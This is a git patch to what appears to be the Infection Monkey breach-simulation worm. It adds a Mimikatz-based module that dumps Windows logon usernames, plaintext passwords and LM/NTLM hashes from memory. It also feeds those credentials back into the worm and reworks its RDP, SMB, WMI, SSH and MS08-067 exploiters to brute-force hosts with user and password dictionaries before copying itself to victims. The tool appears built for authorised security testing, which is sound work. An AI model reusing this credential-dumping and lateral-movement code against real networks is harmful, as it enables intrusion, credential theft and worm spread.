From a671b55df3f44574ca5d861a9221e07d831b7811 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 16 Aug 2017 15:14:26 +0300 Subject: [PATCH] Add mimikatz collector Combine all users and passwords in config --- chaos_monkey/config.py | 18 +++-- chaos_monkey/exploit/rdpgrinder.py | 24 +++--- chaos_monkey/exploit/smbexec.py | 26 +++---- chaos_monkey/exploit/sshexec.py | 4 +- chaos_monkey/exploit/win_ms08_067.py | 2 +- chaos_monkey/exploit/wmiexec.py | 38 ++++----- chaos_monkey/monkey.py | 20 +++++ chaos_monkey/monkey.spec | 6 +- .../system_info/mimikatz_collector.py | 78 +++++++++++++++++++ .../system_info/windows_info_collector.py | 4 +- 10 files changed, 163 insertions(+), 57 deletions(-) create mode 100644 chaos_monkey/system_info/mimikatz_collector.py diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b26c911b0..a5e99ccd0 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -204,17 +204,13 @@ class Configuration(object): ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" ms08_067_remote_user_pass = "Password1!" - # psexec exploiter - psexec_user = "Administrator" - psexec_passwords = ["Password1!", "1234", "password", "12345678"] - - # ssh exploiter - ssh_users = ["root", 'user'] - ssh_passwords = ["Password1!", "1234", "password", "12345678"] - # rdp exploiter rdp_use_vbs_download = True + # User and password dictionaries for exploits. + exploit_user_list = ['Administrator', 'root', 'user'] + exploit_password_list = ["Password1!", "1234", "password", "12345678"] + # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" @@ -223,4 +219,10 @@ class Configuration(object): collect_system_info = True + ########################### + # systeminfo config + ########################### + + mimikatz_dll_name = "mk.dll" + WormConfiguration = Configuration() diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index 89a4014da..6f37cdc2e 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -280,27 +280,27 @@ class RdpExploiter(HostExploiter): 'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} - passwords = list(self._config.psexec_passwords[:]) - known_password = host.get_credentials(self._config.psexec_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + config_users = self._config.exploit_user_list + config_passwords = self._config.exploit_password_list + user_password_pairs = [] + for user in config_users: + for password in config_passwords: + user_password_pairs.append((user, password)) if not g_reactor.is_alive(): g_reactor.daemon = True g_reactor.start() exploited = False - for password in passwords: + for user, password in user_password_pairs: try: # run command using rdp. LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", - host, self._config.psexec_user, password) + host, user, password) LOG.info("RDP connected to %r", host) - client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) + client_factory = CMDClientFactory(user, password, "", command) reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) @@ -308,16 +308,16 @@ class RdpExploiter(HostExploiter): if client_factory.success: exploited = True - host.learn_credentials(self._config.psexec_user, password) + host.learn_credentials(user, password) break else: # failed exploiting with this user/pass - report_failed_login(self, host, self._config.psexec_user, password) + report_failed_login(self, host, user, password) except Exception, exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, - self._config.psexec_user, password, exc) + user, password, exc) continue http_thread.join(DOWNLOAD_TIMEOUT) diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 6f2177264..072211c42 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -64,19 +64,19 @@ class SmbExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - passwords = list(self._config.psexec_passwords[:]) - known_password = host.get_credentials(self._config.psexec_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + config_users = self._config.exploit_user_list + config_passwords = self._config.exploit_password_list + user_password_pairs = [] + for user in config_users: + for password in config_passwords: + user_password_pairs.append((user, password)) exploited = False - for password in passwords: + for user, password in user_password_pairs: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - self._config.psexec_user, + user, password, src_path, self._config.dropper_target_path, @@ -84,18 +84,18 @@ class SmbExploiter(HostExploiter): if remote_full_path is not None: LOG.debug("Successfully logged in %r using SMB (%s : %s)", - host, self._config.psexec_user, password) - host.learn_credentials(self._config.psexec_user, password) + host, user, password) + host.learn_credentials(user, password) exploited = True break else: # failed exploiting with this user/pass - report_failed_login(self, host, self._config.psexec_user, password) + report_failed_login(self, host, user, password) except Exception, exc: LOG.debug("Exception when trying to copy file using SMB to %r with user" " %s and password '%s': (%s)", host, - self._config.psexec_user, password, exc) + user, password, exc) continue if not exploited: @@ -118,7 +118,7 @@ class SmbExploiter(HostExploiter): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr, + rpctransport.set_credentials(user, password, host.ip_addr, "", "", None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index fea92f82a..b827c86df 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -44,8 +44,8 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", host) return False - passwords = list(self._config.ssh_passwords[:]) - users = list(self._config.ssh_users) + passwords = list(self._config.exploit_password_list[:]) + users = list(self._config.exploit_user_list) known_passwords = [host.get_credentials(x) for x in users] if len(known_passwords) > 0: for known_pass in known_passwords: diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index b73c648b4..02f144851 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -235,7 +235,7 @@ class Ms08_067_Exploiter(HostExploiter): if not remote_full_path: # try other passwords for administrator - for password in self._config.psexec_passwords: + for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(host, "Administrator", password, diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 982ff2f4d..a0ea01d00 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -29,14 +29,14 @@ class WmiExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - passwords = list(self._config.psexec_passwords[:]) - known_password = host.get_credentials(self._config.psexec_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + config_users = self._config.exploit_user_list + config_passwords = self._config.exploit_password_list + user_password_pairs = [] + for user in config_users: + for password in config_passwords: + user_password_pairs.append((user, password)) - for password in passwords: + for user, password in user_password_pairs: LOG.debug("Attempting to connect %r using WMI with password '%s'", host, password) @@ -44,27 +44,27 @@ class WmiExploiter(HostExploiter): try: wmi_connection.connect(host, - self._config.psexec_user, + user, password) except AccessDeniedException: - LOG.debug("Failed connecting to %r using WMI with password '%s'", - host, password) + LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')", + host, user, password) continue except DCERPCException, exc: - report_failed_login(self, host, self._config.psexec_user, password) - LOG.debug("Failed connecting to %r using WMI with password '%s'", - host, password) + report_failed_login(self, host, user, password) + LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')", + host, user, password) continue except socket.error, exc: - LOG.debug("Network error in WMI connection to %r with password '%s' (%s)", - host, password, exc) + LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)", + host, user, password, exc) return False except Exception, exc: - LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s", - host, password, exc, traceback.format_exc()) + LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s", + host, user, password, exc, traceback.format_exc()) return False - host.learn_credentials(self._config.psexec_user, password) + host.learn_credentials(user, password) # query process list and check if monkey already running on victim process_list = WmiTools.list_object(wmi_connection, "Win32_Process", @@ -78,7 +78,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - self._config.psexec_user, + user, password, src_path, self._config.dropper_target_path, diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index dd14a8fe0..099204374 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -88,10 +88,14 @@ class ChaosMonkey(object): LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) + additional_creds = {} + if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() + if system_info.has_key('credentials'): + additional_creds = system_info['credentials'] ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: @@ -101,10 +105,26 @@ class ChaosMonkey(object): else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) + + for _ in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() + # TODO: this is temporary until we change server to support changing of config. + for user in list(additional_creds): + if user not in WormConfiguration.exploit_user_list: + WormConfiguration.exploit_user_list.append(user) + + for user, creds in additional_creds: + if creds.has_key('password'): + password = creds['password'] + if password not in WormConfiguration.exploit_password_list: + WormConfiguration.exploit_password_list.append(password) + + LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) + LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) + self._network.initialize() self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index e233d64f5..11df45517 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -9,11 +9,15 @@ a = Analysis(['main.py'], if platform.system().find("Windows")>= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] + if platform.architecture()[0] == "32bit": + a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')] + else: + a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, a.scripts, - a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\system32\msvcr100.dll', 'BINARY')], + a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')], a.zipfiles, a.datas, name='monkey.exe', diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py new file mode 100644 index 000000000..c3781f371 --- /dev/null +++ b/chaos_monkey/system_info/mimikatz_collector.py @@ -0,0 +1,78 @@ +import ctypes +import binascii +import logging + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + + + + +class MimikatzCollector: + """ + Password collection module for Windows using Mimikatz. + """ + + def __init__(self): + try: + self._isInit = False + self._config = __import__('config').WormConfiguration + self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) + collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) + get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) + self._collect = collect_proto(("collect", self._dll)) + self._get = get_proto(("get", self._dll)) + self._isInit = True + except StandardError as ex: + LOG.exception("Error initializing mimikatz collector") + + def get_logon_info(self): + """ + Gets the logon info from mimikatz. + Returns a dictionary of users with their known credentials. + """ + + if not self._isInit: + return {} + + try: + entry_count = self._collect() + + logon_data_dictionary = {} + + for i in range(entry_count): + entry = self._get() + username = entry.username + password = entry.password + lm_hash = binascii.hexlify(bytearray(entry.lm_hash)) + ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)) + has_password = (0 != len(password)) + has_lm = ("00000000000000000000000000000000" != lm_hash) + has_ntlm = ("00000000000000000000000000000000" != ntlm_hash) + + if not logon_data_dictionary.has_key(username): + logon_data_dictionary[username] = {} + if has_password: + logon_data_dictionary[username]["password"] = password + if has_lm: + logon_data_dictionary[username]["lm_hash"] = lm_hash + if has_ntlm: + logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash + + return logon_data_dictionary + except StandardError as ex: + LOG.exception("Error getting logon info") + return {} + + class LogonData(ctypes.Structure): + """ + Logon data structure returned from mimikatz. + """ + _fields_ = \ + [ + ("username", ctypes.c_wchar * 257), + ("password", ctypes.c_wchar * 257), + ("lm_hash", ctypes.c_byte * 16), + ("ntlm_hash", ctypes.c_byte * 16) + ] diff --git a/chaos_monkey/system_info/windows_info_collector.py b/chaos_monkey/system_info/windows_info_collector.py index b979ee87b..5cb1253ab 100644 --- a/chaos_monkey/system_info/windows_info_collector.py +++ b/chaos_monkey/system_info/windows_info_collector.py @@ -1,5 +1,5 @@ from . import InfoCollector - +from mimikatz_collector import MimikatzCollector __author__ = 'uri' @@ -14,4 +14,6 @@ class WindowsInfoCollector(InfoCollector): def get_info(self): self.get_hostname() self.get_process_list() + mimikatz_collector = MimikatzCollector() + self.info["credentials"] = mimikatz_collector.get_logon_info() return self.info